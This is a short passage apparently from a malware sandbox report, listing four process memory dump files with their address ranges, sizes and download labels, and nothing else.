                                                                                                                                            • memory/2752-32-0x0000000006780000-0x00000000067CC000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              304KB

                                                                                                                                              Download

                                                                                                                                            • memory/3100-16-0x00000000125D3000-0x00000000125D4000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              4KB

                                                                                                                                              Download

                                                                                                                                            • memory/3100-12-0x0000000010000000-0x00000000125DE000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              37.9MB

                                                                                                                                              Download

                                                                                                                                            • memory/3540-37-0x0000000010000000-0x00000000125DE000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              37.9MB

                                                                                                                                              Download